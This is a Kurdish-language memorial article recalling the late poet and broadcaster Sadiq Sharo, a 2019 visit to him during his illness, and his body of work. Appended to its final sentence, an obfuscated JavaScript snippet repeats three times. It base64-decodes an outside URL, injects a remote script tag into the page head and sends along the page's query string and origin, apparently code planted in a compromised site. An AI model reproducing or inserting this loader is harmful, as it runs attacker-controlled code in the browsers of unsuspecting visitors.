چەند بیرهاتنەک دگەل هۆزانڤان سەدیق شەرۆ ل بیرەوەریا وەغەرکرنا وی
جەگەر كەمال ڕێكانی
ل رۆژه‌كا وه‌كو ئه‌ڤرۆ 14 تیرمه‌هێ دا ب مخابنی ڤه مامۆستایێ نفشه‌كی گیانێ خوه ژده‌ست دایه و نها مینا نیشانه‌كێ یه ل هه‌ر جهه‌كێ ل دهۆكێ قه‌ست بكه‌ینێ، چه‌له‌نگ و ب بزاڤ بوو.. هه‌م نڤێسه‌ر، هه‌ر هۆزانڤان، میدیاكار، رۆژنامه‌ڤان، هونه‌رمه‌ند و ره‌خنه‌گر، زمانزان، زۆر به‌رهه‌م و ره‌شنڤێ و ده‌ستنڤێسێن هۆزانێ و چیرۆك و رۆمان و دراما و ئه‌ده‌بێ كوردی هه‌نه، ژ وان : (١٦) كاسێن هۆزانێن كلاسیكی و نویخوازی ب ده‌نگێ خوه ب خوه توماركرینه، (١٢) كلیپێن ته‌له‌فزیۆنێ (شعر)، بۆ ده‌مێ (٧) سالان (١٩٩٥-٢٠٠٣) به‌رنامه‌یێن (باغێ ژیانێ) ل رادیۆیا كوردستان دهۆك، (باغێ بینه‌ران) ل ته‌له‌فزیۆنا خه‌بات و گه‌له‌ك بزاڤێن كو نه‌هێنه هه‌ژمارتن. ل ڤێ بیره‌وه‌ریێ بیرا من هات ده‌مێ ئه‌ز قوتابی ل زانكۆیا زاخۆ، جاران ب سه‌ره‌دان ئه‌ز دهاتمه ل دهۆكێ و ل نڤیسینگه‌ها گۆڤارا دیرۆك ل گه‌ل برایێ خوه هێرشی، ئه‌م چووین و ب ڕێكێ ڤه هۆزانڤان هه‌لگورد قهها و ئه‌لند مزویری وان گۆتن هوین چ دبێژن هه‌كه بچین سه‌را مامۆستا (سه‌دیق شه‌رۆ) بده‌ین به‌ری بچینه نڤیسینگه‌ها گۆڤارێ؟
ل ئیڤاریا هه‌یڤا یازده یا سالا 2019 ئه‌م چووینه ل ده‌ف ناڤهاتی، سه‌یدایێ سه‌دیق هات ب خێرهاتنا مه كر و گه‌له‌ك كه‌یفا خوه ب مه ئینا و گۆت باوه‌ربكه هه‌ر چه‌نده نۆژداری یێ گۆتیه من كو گه‌له‌ك خوه ماندی نه‌كه و تو پێدڤی ب بێهنڤه‌دانێی، به‌لێ من نه‌ڤیا دلێ هه‌وه بهێلم و نه‌هێمه دیوانا هه‌وه، كو رێڤه‌به‌ریا چالاكیێن وێژه‌یی ئێڤاریه‌كا رێزلێنانێ بۆ سه‌یدای دابنن كو ژڤان بوو پشتی چه‌ند ڕۆژه‌كێن كێم پشتی هره‌دانا مه كو ل ڕۆژا سێ شه‌مبی 5/11/2019 ئه‌نجامبده‌ن، ئه‌وی ژی گۆت ژ به‌ر ساخله‌میا خوه و چونكی هه‌كه بێم هه‌ڤالێن خوه ببینم دێ بیرا من هێته بیرهاتنێن مه و نه‌كو بۆ من خراب بیت و بكه‌ڤم.
به‌حس ل خوه كر وه‌ختێ برینه نه‌خۆشخانا توركیا گۆت؛ كوردێن مه یێن ل وێ ده‌ڤه‌رێ ده‌مێ ئه‌ز دیتیم گه‌له‌ك كه‌یفا خۆ ب من ئینان و گۆت ئه‌ڤه هۆزانڤانێ مه‌یه و دڤێت ڕێزه‌كا مه‌زن لێ بگرین و د خزمه‌تا ته داینه و یا پێدڤی بۆ من دكر، وه‌ختێ من ئه‌ڤ هه‌لوه‌سته ژ وان دیتی بۆ من ئه‌و هه‌می تشت بوو و من زانی كو به‌هایێ خزمه‌تا من نه‌هاتیه ژبیركرن. و یا ڕاست ئه‌م ل ڤێرێ بهایێ كه‌سایه‌تیێن خوه نزانین هه‌تا ژ ده‌ست نه‌ده‌ین مخابن ئه‌م دهۆساینه!، ئێكسه‌ر ڕۆندك كه‌ڤتنه چاڤێن وی. ئه‌ڤ دیمه‌نه یێ دلئێش بوو وه‌ختێ مه مامۆستا دیتی كو ژبه‌ر خاتر خواستنا مه ڕۆندك ژ چاڤان بارین و ل سه‌ر نه‌خۆشیا خوه هێشتا یێ شرین مرۆڤ و مێهڤان دۆست بوو.
ئه‌و جارا دووێ بوو من سه‌یدایێ سه‌دیق شه‌رۆ دیتی كو به‌ری ڤێ سه‌ره‌دانێ من ئه‌و ل په‌روه‌ردا گشتی یا دهۆكێ دیتبوو ده‌مێ ئه‌ز و بابێ خوه مامۆستا كه‌مال مه‌لا یاسین ڕێكانی روینشتین بووین چاڤێ وی ب مه دكه‌ڤیت و دهێته نك مه و به‌رهه‌ڤییا خوه دیاركر ۆ هه‌ر خزمه‌ته‌كا هه‌بیت، ئه‌ڤجا گه‌له‌ك فه‌ره ل ساخیا كه‌سایه‌تی و كه‌سێن هۆسا پویته پێ بێته دانێ بەری وەغەر بكەن . گیانێ وی شاد بیت و خودێ ژێ رازی بیت(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
